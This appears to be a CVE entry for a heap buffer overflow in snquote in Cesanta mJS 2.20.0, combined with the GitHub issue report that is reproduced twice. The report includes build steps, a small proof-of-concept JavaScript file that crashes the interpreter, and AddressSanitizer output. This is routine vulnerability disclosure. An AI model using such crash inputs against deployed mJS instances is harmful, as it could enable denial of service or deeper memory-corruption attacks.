Cesanta MJS v2.20.0 was discovered to contain a heap buffer overflow via snquote at mjs/src/mjs_json.c.
cpe:2.3:a:cesanta:mjs:2.20.0:*:*:*:*:*:*:*
CF8D39F6-ACB1-46F8-87CF-1B41EFC157BE
OR
###### mJS revision

Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)






###### Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)



###### Build steps

```bash
vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
```



###### Test case
<details>
<summary>poc.js</summary>
<pre><code>

```javascript
(function() {
  ((function JSEtest(a Number) {
    if (a > 0) {
      gc((JSON.stringify(gc('#1.1: -0 - -0 === 0. Actual: '))) !== JSON.stringify('#1.1: -0 - -0 === 0. Actual: ' !== JSEtest(a - 1)))
    }
  })(6))
})()
```

</code></pre>
</details>
​	

###### Execution steps & Output

```bash
$ ./mjs/build/mjs poc.js
=================================================================
==109655==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6110000004d6 at pc 0x559ce8d17a88 bp 0x7ffce13798c0 sp 0x7ffce13798b0
READ of size 1 at 0x6110000004d6 thread T0
    #0 0x559ce8d17a87 in snquote src/mjs_json.c:81
    #1 0x559ce8d17a87 in to_json_or_debug src/mjs_json.c:167
    #2 0x559ce8d17a87 in mjs_json_stringify src/mjs_json.c:267
    #3 0x559ce8d17a87 in mjs_op_json_stringify src/mjs_json.c:494
    #4 0x559ce8cd2244 in mjs_execute src/mjs_exec.c:853
    #5 0x559ce8cdba05 in mjs_exec_internal src/mjs_exec.c:1073
    #6 0x559ce8cdba05 in mjs_exec_file src/mjs_exec.c:1096
    #7 0x559ce8c98909 in main src/mjs_main.c:47
    #8 0x7f97d5af7b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
    #9 0x559ce8c99449 in _start (/usr/local/bin/Gmjs+0xe449)

0x6110000004d6 is located 0 bytes to the right of 214-byte region [0x611000000400,0x6110000004d6)
allocated by thread T0 here:
    #0 0x7f97d61a9f30 in realloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdef30)
    #1 0x559ce8daa346 in mbuf_resize src/common/mbuf.c:50

SUMMARY: AddressSanitizer: heap-buffer-overflow src/mjs_json.c:81 in snquote
Shadow bytes around the buggy address:
  0x0c227fff8040: fd fd fd fd fd fd fd fd fd fd fa fa fa fa fa fa
  0x0c227fff8050: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x0c227fff8060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c227fff8070: 00 00 00 00 00 00 fa fa fa fa fa fa fa fa fa fa
  0x0c227fff8080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c227fff8090: 00 00 00 00 00 00 00 00 00 00[06]fa fa fa fa fa
  0x0c227fff80a0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x0c227fff80b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c227fff80c0: 00 04 fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c227fff80d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c227fff80e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==109655==ABORTING
```


Heap-buffer-overflow src/mjs_json.c:81 in snquote
This is a GitHub Issue
repo:mjs
owner:cesanta
Title : Heap-buffer-overflow src/mjs_json.c:81 in snquote
Issue date:

--- start body ---
###### mJS revision

Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)






###### Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)



###### Build steps

```bash
vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
```



###### Test case
<details>
<summary>poc.js</summary>
<pre><code>

```javascript
(function() {
  ((function JSEtest(a Number) {
    if (a > 0) {
      gc((JSON.stringify(gc('#1.1: -0 - -0 === 0. Actual: '))) !== JSON.stringify('#1.1: -0 - -0 === 0. Actual: ' !== JSEtest(a - 1)))
    }
  })(6))
})()
```

</code></pre>
</details>
​	

###### Execution steps & Output

```bash
$ ./mjs/build/mjs poc.js
=================================================================
==109655==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6110000004d6 at pc 0x559ce8d17a88 bp 0x7ffce13798c0 sp 0x7ffce13798b0
READ of size 1 at 0x6110000004d6 thread T0
    #0 0x559ce8d17a87 in snquote src/mjs_json.c:81
    #1 0x559ce8d17a87 in to_json_or_debug src/mjs_json.c:167
    #2 0x559ce8d17a87 in mjs_json_stringify src/mjs_json.c:267
    #3 0x559ce8d17a87 in mjs_op_json_stringify src/mjs_json.c:494
    #4 0x559ce8cd2244 in mjs_execute src/mjs_exec.c:853
    #5 0x559ce8cdba05 in mjs_exec_internal src/mjs_exec.c:1073
    #6 0x559ce8cdba05 in mjs_exec_file src/mjs_exec.c:1096
    #7 0x559ce8c98909 in main src/mjs_main.c:47
    #8 0x7f97d5af7b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
    #9 0x559ce8c99449 in _start (/usr/local/bin/Gmjs+0xe449)

0x6110000004d6 is located 0 bytes to the right of 214-byte region [0x611000000400,0x6110000004d6)
allocated by thread T0 here:
    #0 0x7f97d61a9f30 in realloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdef30)
    #1 0x559ce8daa346 in mbuf_resize src/common/mbuf.c:50

SUMMARY: AddressSanitizer: heap-buffer-overflow src/mjs_json.c:81 in snquote
Shadow bytes around the buggy address:
  0x0c227fff8040: fd fd fd fd fd fd fd fd fd fd fa fa fa fa fa fa
  0x0c227fff8050: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x0c227fff8060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c227fff8070: 00 00 00 00 00 00 fa fa fa fa fa fa fa fa fa fa
  0x0c227fff8080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c227fff8090: 00 00 00 00 00 00 00 00 00 00[06]fa fa fa fa fa
  0x0c227fff80a0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x0c227fff80b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c227fff80c0: 00 04 fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c227fff80d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c227fff80e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==109655==ABORTING
```


--- end body ---

comments :
--- start comments ---

--- end comments ---